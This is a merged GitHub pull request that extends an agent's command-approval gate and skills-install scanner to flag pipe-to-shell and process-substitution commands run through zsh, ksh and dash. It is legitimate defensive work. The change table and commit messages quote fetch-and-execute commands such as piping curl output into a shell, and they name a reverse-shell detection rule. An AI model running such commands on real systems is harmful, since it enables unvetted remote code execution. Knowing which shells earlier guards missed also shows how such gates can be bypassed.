Skip to content

fix(approval): pipe-to-shell and -c payload detection covers zsh, ksh and dash everywhere (#116456, salvage #116457) - #116726

Merged
teknium1 merged 2 commits into
mainfrom
fix/b0919-L14-approval-env-security-shell-names
Sep 20, 2026
Merged

teknium1 merged 2 commits into
mainfrom
fix/b0919-L14-approval-env-security-shell-names

Conversation

@teknium1

Copy link
Copy Markdown
Collaborator

curl url | zsh, dash < <(curl ...), dash -c '...' and their ksh spellings now reach the approval gate exactly like the bash/sh forms, in both the terminal guard and the skills-install scanner.

  • tools/approval_detection.py: one shared _SHELL_NAMES / _SHELL_NAMES_RE (bash|sh|zsh|ksh|dash) used by the pipe-remote, process-substitution, decode-pipe, heredoc and structural -c payload sites, replacing three divergent copies.
  • tools/skills_guard.py: the same alternation in curl_pipe_shell, wget_pipe_shell, echo_pipe_exec, bash_reverse_shell.
  • 2 invariant tests in tests/tools/test_approval.py (per-shell matrix over every site + benign controls; production entry through check_all_command_guards reaching the approval callback) and 1 in tests/tools/test_skills_guard.py.
command before (origin/main) after
curl http://x/s | zsh / | ksh (False, None) (True, 'pipe remote content to shell')
dash < <(curl http://x/s) (False, None) (True, 'execute remote script via process substitution')
curl http://x/s | bash flagged flagged (unchanged)
cat install.log | grep zsh, echo dash is fast clean clean
skills_guard on curl http://x/s | zsh [] ['curl_pipe_shell']

Root cause: the shell-name list was copied into six sites with three different contents.

Fixes #116456
Salvages #116457 (@beardthelion) — cherry-picked as authored (one keep-both conflict with the newer _NOT_DELEGATE constant in skills_guard.py); tests trimmed to two invariants in a follow-up commit. Related #87362 widens only the single pipe-remote line and stays open for its broader scope.

Tests: scripts/run_tests.sh tests/tools/test_approval.py tests/tools/test_skills_guard.py tests/tools/test_approval_mode_parity.py → 227 passed.

Dropped hunks

None (tests folded, not dropped).

Infographic

infographic

beardthelion and others added 2 commits September 19, 2026 21:55
The shell-name list was copied into six sites in approval_detection
with three different contents: the pipe-remote pattern accepted only
(?:ba)?sh so 'curl url | zsh' ran unflagged, while process
substitution, the shell heredoc rule, and the structural -c payload
scan each carried {bash,sh,zsh,ksh} and missed dash. Hoist one shared
_SHELL_NAMES alternation (bash|sh|zsh|ksh|dash, the shell members of
_SHELL_CARRIER_NAMES) used by all of them so the list cannot drift
between sites again.

tools/skills_guard.py had the same (ba)?sh drift in its own
curl_pipe_shell / wget_pipe_shell / echo_pipe_exec / bash_reverse_shell
patterns, so 'curl url | zsh' in a shipped install script scanned
clean; those now share the same alternation.

Related: #87362 widens the single pipe-remote pattern further
(fish/csh/tcsh, quoted/.exe/path-qualified spellings, sudo/env
prefixes). This change covers that defect too but also closes the
remaining drift in the five other sites and in skills_guard; the pipe
pattern line will need a rebase whichever lands second.
One parametrized matrix per shell (every remote-content site flags, benign mentions
stay clean) plus the production-entry check through check_all_command_guards; the
skills_guard copies fold into one per-shell test. Same coverage, fewer change-detectors.
@github-actions

github-actions Bot commented Sep 20, 2026 •

Copy link
Copy Markdown

૮ >ﻌ< ა ci review

ran on 36d755d — test: trim the shell-name coverage tests to two invariants

debug info

CI timings

CI timings · View report · View job

Wall time 5m45s vs 6m29s (-11.3%). 2 job(s) slower, 9 faster, 1 unchanged.

  • OS-specific tests / Windows-only tests: -65.0s
  • Check no case-colliding filenames / check-case-collisions: -35.0s
  • OS-specific tests / macOS-only tests: -16.0s
  • Check contributors / check-attribution: -13.0s
  • Python lints / Windows footguns (blocking): +11.0s

@alt-glitch alt-glitch added type/security Security vulnerability or hardening P3 Low — cosmetic, nice to have comp/tools Tool registry, model_tools, toolsets tool/terminal Terminal execution and process management tool/skills Skills system (list, view, manage) labels Sep 20, 2026
@teknium1
teknium1 merged commit c1281eb into main Sep 20, 2026
37 checks passed
@teknium1
teknium1 deleted the fix/b0919-L14-approval-env-security-shell-names branch September 20, 2026 07:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

comp/tools Tool registry, model_tools, toolsets P3 Low — cosmetic, nice to have tool/skills Skills system (list, view, manage) tool/terminal Terminal execution and process management type/security Security vulnerability or hardening

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Bug]: pipe-to-shell and related approval patterns miss zsh/ksh/dash

3 participants